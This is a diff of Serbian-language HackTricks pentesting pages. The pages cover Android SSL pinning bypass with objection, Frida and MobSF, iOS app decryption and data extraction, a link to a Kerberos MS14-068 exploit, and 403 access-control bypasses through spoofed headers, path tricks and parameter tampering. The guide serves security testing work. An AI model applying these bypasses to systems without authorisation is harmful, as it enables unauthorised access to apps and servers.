Kada je SSL Pinning implementiran, obilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu:
- Automatski **modifikujte** **apk** da **obidje** SSLPinning sa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da obidjete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to ne mora uvek da funkcioniše.
- Automatski **modifikujte** **apk** da **obidje** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je to što vam neće biti potrebna root privilegija da obidjete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, i to ne mora uvek da funkcioniše.
- Možete koristiti **Frida** (o kojoj se govori u nastavku) da obidjete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku)
@ -419,15 +419,15 @@ Kada je SSL Pinning implementiran, obilaženje postaje neophodno za inspekciju H
#### Traženje uobičajenih web ranjivosti
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su van okvira ovog sažetka, ali su opširno pokrivene na drugim mestima.
Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i ublažavanju ovih ranjivosti su van okvira ovog sažetka, ali su opširno pokrivene drugde.
### Frida
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače bezbednosti.\
**Možete pristupiti pokrenutoj aplikaciji i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izdvojite vrednosti, pokrenete različit kod...**\
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja kako biste promenili ponašanje, promenili vrednosti, izvukli vrednosti, izvršili različit kod...**\
Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
- Naučite kako koristiti Frida: [**Frida tutorijal**](frida-tutorial/)
- Naučite kako koristiti Frida: [**Frida tutorijal**](frida-tutorial/index.html)
- Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@ -474,7 +474,7 @@ Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup
Snimci se obično čuvaju na: **`/data/system_ce/0/snapshots`**
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje na snimcima ekrana ili pregled na nesigurnim ekranima.
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje u snimcima ekrana ili pregled na nesigurnim ekranima.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -484,14 +484,14 @@ Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke anali
### Intent Injection
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i emitovani prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih Intent injekcija.
Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih injekcija Intenta.
### Essential Takeaways
- **Intent Injection** je sličan problemu Open Redirect na webu.
- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji mogu biti preusmereni da izvrše nesigurne operacije.
- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji se mogu preusmeriti da izvrše nesigurne operacije.
- Može izložiti neizvezene komponente i provajdere sadržaja napadačima.
- Konverzija URL-a u `Intent` od strane `WebView` može olakšati nepredviđene radnje.
@ -527,22 +527,22 @@ MobSF takođe omogućava **diff/Compare** analizu i integraciju sa **VirusTotal*
### Pomoćna dinamička analiza sa MobSF
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
**MobSF** može biti veoma koristan za **dinamičku analizu** u **Androidu**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\
**MobSF dinamički analizer** može:
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da dobijete screenshot-ove svih eksportovanih aktivnosti.
- Zabeleži **HTTPS saobraćaj**
- Koristi **Frida** da dobije **runtime** **informacije**
- Koristi **Frida** za dobijanje **runtime** **informacija**
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije.
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **zapisivanje** saobraćaja. Zabeležiće samo saobraćaj iz testirane aplikacije.
**Frida**
Po defaultu, takođe će koristiti neke Frida skripte da **obiđe SSL pinning**, **detekciju root-a** i **detekciju debagera** i da **prati zanimljive API-je**.\
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-ja**.\
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove generisane Frida skriptama i "**Live API Monitor**" da vidite sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
MobSF takođe omogućava da učitate svoje **Frida skripte** (da pošaljete rezultate vaših Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
MobSF takođe omogućava da učitate svoje **Frida skripte** (da pošaljete rezultate svojih Frida skripti MobSF-u koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**").
![](<../../images/image (419).png>)
@ -553,9 +553,9 @@ Pored toga, imate neke pomoćne Frida funkcionalnosti:
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
- **Search Class Pattern**: Pretražuje klase po obrascu
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda.
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda.
Kada odaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
**Shell**
@ -570,7 +570,7 @@ receivers
```
**HTTP alati**
Kada se http saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na "**HTTP(S) Traffic**" donjem delu ili lepši prikaz na "**Start HTTPTools**" zelenom dugmetu. Iz druge opcije, možete **poslati** **uhvaćene zahteve** na **proksije** kao što su Burp ili Owasp ZAP.\
Kada se http saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na "**HTTP(S) Traffic**" dnu ili lepši prikaz na "**Start HTTPTools**" zelenom dnu. Iz druge opcije, možete **poslati** **uhvaćene zahteve** na **proksije** kao što su Burp ili Owasp ZAP.\
Da biste to uradili, _uključite Burp -->_ _isključite Intercept --> u MobSB HTTPTools izaberite zahtev_ --> pritisnite "**Send to Fuzzer**" --> _izaberite adresu proksija_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Kada završite dinamičku analizu sa MobSF, možete pritisnuti na "**Start Web API Fuzzer**" da **fuzz-ujete http zahteve** i tražite ranjivosti.
@ -585,7 +585,7 @@ Kada završite dinamičku analizu sa MobSF, možete pritisnuti na "**Start Web A
### Pomoćna dinamička analiza sa Inspeckage
Možete preuzeti alat sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Ovaj alat koristi neke **Hooks** da vam omogući da znate **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok vršite **dinamičku analizu**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
Sva pravila su fokusirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html)
```
@ -638,7 +638,7 @@ Preuzmite [latest release](https://github.com/vincentcox/StaCoAn/releases):
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework je sistem za analizu ranjivosti na Androidu koji pomaže programerima ili hakerima da pronađu potencijalne sigurnosne ranjivosti u Android aplikacijama.\
[Windows izdanja](https://github.com/AndroBugs/AndroBugs_Framework/releases)
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
Može da:
@ -691,7 +691,7 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
- učitati resurs kao InputStream;
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
- uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX fajl;
- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
### [DeGuard](http://apk-deguard.com)
@ -700,10 +700,40 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
Možete da otpremite obfuskovani APK na njihovu platformu.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
### [Simplify](https://github.com/CalebFenton/simplify)
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da bi razumeo njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore** i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android.
### Manual
[Pročitajte ovaj tutorijal da biste naučili neke trikove o **kako da reverzujete prilagođenu obfuskaciju**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i labova od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je odlična lista resursa
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Brzi kurs o Androidu
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -38,7 +38,7 @@ $ instruments -s devices
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
**Aplikacije za shell na uređaju**, poput NewTerm 2, olakšavaju direktnu interakciju sa uređajem, što je posebno korisno za rešavanje problema. **Reverse SSH shell-ovi** se takođe mogu uspostaviti za daljinski pristup sa host računara.
**Aplikacije za shell na uređaju**, kao što je NewTerm 2, olakšavaju direktnu interakciju sa uređajem, što je posebno korisno za rešavanje problema. **Reverse SSH shell-ovi** se takođe mogu uspostaviti za daljinski pristup sa host računara.
### **Resetovanje Zaboravljenih Lozinki**
@ -54,13 +54,13 @@ tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
### **Alati za grafički korisnički interfejs**
### **Graphical User Interface Tools**
**Korišćenje iFunbox-a i iExplorer-a:** Ovi GUI alati su korisni za upravljanje datotekama na iOS uređajima. Međutim, počevši od iOS 8.4, Apple je ograničio pristup ovim alatima aplikacionom sandbox-u osim ako uređaj nije jailbreak-ovan.
**Using iFunbox and iExplorer:** Ovi GUI alati su korisni za upravljanje datotekama na iOS uređajima. Međutim, počevši od iOS 8.4, Apple je ograničio pristup ovim alatima aplikacionom sandbox-u osim ako uređaj nije jailbreak-ovan.
### **Korišćenje Objection-a za upravljanje datotekama**
### **Using Objection for File Management**
**Interaktivna ljuska sa Objection-om:** Pokretanje objection-a omogućava pristup Bundle direktorijumu aplikacije. Odatle možete navigirati do direktorijuma Documents aplikacije i upravljati datotekama, uključujući preuzimanje i otpremanje na i sa iOS uređaja.
**Interactive Shell with Objection:** Pokretanje objection-a omogućava pristup Bundle direktorijumu aplikacije. Odatle možete navigirati do direktorijuma Documents aplikacije i upravljati datotekama, uključujući preuzimanje i otpremanje na i sa iOS uređaja.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -70,7 +70,7 @@ file download <filename>
### **Sticanje IPA Fajla**
**Over-The-Air (OTA) Distribucioni Link:** Aplikacije distribuirane za testiranje putem OTA mogu se preuzeti koristeći ITMS uslugu alata za preuzimanje sredstava, koji se instalira putem npm i koristi za čuvanje IPA fajla lokalno.
**Over-The-Air (OTA) Distribucioni Link:** Aplikacije distribuirane za testiranje putem OTA mogu se preuzeti koristeći ITMS usluge alat za preuzimanje sredstava, koji se instalira putem npm-a i koristi za čuvanje IPA fajla lokalno.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@ -78,11 +78,11 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
### **Ekstrakcija binarnog fajla aplikacije**
1. **Iz IPA:** Raspakujte IPA da biste pristupili dekriptovanom binarnom fajlu aplikacije.
2. **Iz Jailbroken uređaja:** Instalirajte aplikaciju i ekstraktujte dekriptovani binarni fajl iz memorije.
2. **Sa Jailbroken uređaja:** Instalirajte aplikaciju i ekstraktujte dekriptovani binarni fajl iz memorije.
### **Proces dekripcije**
**Pregled ručne dekripcije:** iOS binarni fajlovi aplikacija su enkriptovani od strane Apple-a koristeći FairPlay. Da bi se izvršilo obrnuto inženjerstvo, potrebno je izdumpovati dekriptovani binarni fajl iz memorije. Proces dekripcije uključuje proveru PIE zastavice, podešavanje memorijskih zastavica, identifikaciju enkriptovanog dela, a zatim dumpovanje i zamenu ovog dela sa njegovom dekriptovanom verzijom.
**Pregled ručne dekripcije:** iOS binarni fajlovi aplikacija su enkriptovani od strane Apple-a koristeći FairPlay. Da bi se izvršilo obrnuto inženjerstvo, potrebno je izdumpovati dekriptovani binarni fajl iz memorije. Proces dekripcije uključuje proveru PIE zastavice, prilagođavanje memorijskih zastavica, identifikaciju enkriptovanog dela, a zatim dumpovanje i zamenu ovog dela sa njegovom dekriptovanom verzijom.
**Provera i modifikacija PIE zastavice:**
```bash
@ -92,7 +92,7 @@ otool -Vh Hello_World
```
**Identifikacija Enkriptovane Sekcije i Ispisivanje Memorije:**
Odredite početne i završne adrese enkriptovane sekcije koristeći `otool` i ispišite memoriju sa jailbreak-ovanog uređaja koristeći gdb.
Odredite početne i završne adrese enkriptovane sekcije koristeći `otool` i ispišite memoriju sa jailbroken uređaja koristeći gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
@ -138,7 +138,7 @@ bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, koristeći radare i frida, služi za dekripciju i dump aplikacija. Više informacija možete pronaći na njegovoj [**GitHub stranici**](https://github.com/as0ler/r2flutch).
**r2flutch**, koristeći radare i frida, služi za dekripciju aplikacija i dumping. Više informacija možete pronaći na njegovoj [**GitHub stranici**](https://github.com/as0ler/r2flutch).
### **Instalacija Aplikacija**
@ -152,7 +152,7 @@ bagbak --raw Chrome
- **ipainstaller**: Ovaj alat za komandnu liniju omogućava direktnu instalaciju aplikacija na iOS uređajima.
- **ios-deploy**: Za korisnike macOS-a, ios-deploy instalira iOS aplikacije iz komandne linije. Raspakivanje IPA i korišćenje `-m` oznake za direktno pokretanje aplikacije su deo procesa.
- **ios-deploy**: Za korisnike macOS-a, ios-deploy instalira iOS aplikacije iz komandne linije. Dešifrovanje IPA i korišćenje `-m` oznake za direktno pokretanje aplikacije su deo procesa.
- **Xcode**: Koristite Xcode za instalaciju aplikacija navigirajući do **Window/Devices and Simulators** i dodajući aplikaciju u **Installed Apps**.
@ -164,7 +164,7 @@ Da biste instalirali aplikacije specifične za iPad na iPhone ili iPod touch ure
## Reference
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

View File

@ -15,7 +15,7 @@ Nakon autentifikacije od strane **Kerberos**, proces donošenja odluka o pristup
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Da biste naučili kako da zloupotrebljavate Kerberos, trebali biste pročitati post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
### **Da biste naučili kako da zloupotrebljavate Kerberos, trebali biste pročitati post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Više
@ -25,13 +25,13 @@ PORT STATE SERVICE
### MS14-068
MS14-068 greška omogućava napadaču da manipuliše Kerberos prijavnim tokenom legitimnog korisnika kako bi lažno tvrdio da ima povišene privilegije, kao što je biti Domain Admin. Ova lažna tvrdnja se pogrešno validira od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory šume.
MS14-068 greška omogućava napadaču da manipuliše Kerberos prijavnim tokenom legitimnog korisnika kako bi lažno tvrdio da ima povišene privilegije, kao što je biti Domain Admin. Ova lažna tvrdnja se greškom validira od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory šume.
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
Ostali eksploiti: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Ostali eksploati: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatske Komande
```

View File

@ -13,8 +13,8 @@ Pokušajte koristiti **različite glagole** za pristup datoteci: `GET, HEAD, POS
## HTTP Headers Fuzzing
- **Promenite Host zaglavlje** na neku proizvoljnu vrednost ([to je ovde uspelo](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Pokušajte da [**koristite druge User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu.
- **Fuzz HTTP zaglavlja**: Pokušajte koristiti HTTP Proxy **zaglavlja**, HTTP autentifikaciju Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Da bih sve ovo uradio, napravio sam alat [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
- Pokušajte [**koristiti druge User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu.
- **Fuzz HTTP zaglavlja**: Pokušajte koristiti HTTP Proxy **zaglavlja**, HTTP autentifikaciju Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Za sve ovo sam napravio alat [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -35,9 +35,9 @@ Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte da zloupotrebite [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**specijalna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
- **Fuzz specijalna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
- Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte zloupotrebiti [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**posebna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
- **Fuzz posebna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
- **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu.
## Path **Fuzzing**
@ -45,8 +45,8 @@ Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje
Ako je _/path_ blokiran:
- Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
- Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira, biće _//path_ i možda ste već zaobišli proveru imena _/path_
- **Drugi bypass-ovi putanje**:
- Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira biće _//path_ i možda ste već zaobišli proveru imena _/path_
- **Drugi zaobilaženja putanje**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK
- site.com/secret/ > HTTP 200 OK
@ -57,11 +57,11 @@ Ako je _/path_ blokiran:
- site.com/.;/secret > HTTP 200 OK
- site.com//;//secret > HTTP 200 OK
- site.com/secret.json > HTTP 200 OK (ruby)
- Koristite svih [**ovih listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama:
- Koristite [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- **Drugi API bypass-ovi:**
- **Druga API zaobilaženja:**
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
@ -73,11 +73,11 @@ Ako je _/path_ blokiran:
## **Parameter Manipulation**
- Promenite **param vrednost**: Od **`id=123` --> `id=124`**
- Promenite **vrednost parametra**: Iz **`id=123` --> `id=124`**
- Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
- Uklonite parametre
- Ponovo poredajte parametre
- Koristite specijalne karaktere.
- Promenite redosled parametara
- Koristite posebne karaktere.
- Izvršite testiranje granica u parametrima — pružite vrednosti poput _-234_ ili _0_ ili _99999999_ (samo neki primeri).
## **Protocol version**
@ -87,7 +87,7 @@ Ako koristite HTTP/1.1 **pokušajte koristiti 1.0** ili čak testirajte da li **
## **Other Bypasses**
- Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**.
- Pokušajte da **opterećujete server** šaljući uobičajene GET zahteve ([Ovo je uspelo ovom tipu sa Facebook-om](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- Pokušajte da **opterećujete server** slanjem uobičajenih GET zahteva ([to je uspelo ovom momku sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Promenite protokol**: sa http na https, ili za https na http
- Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**.

View File

@ -1,10 +1,10 @@
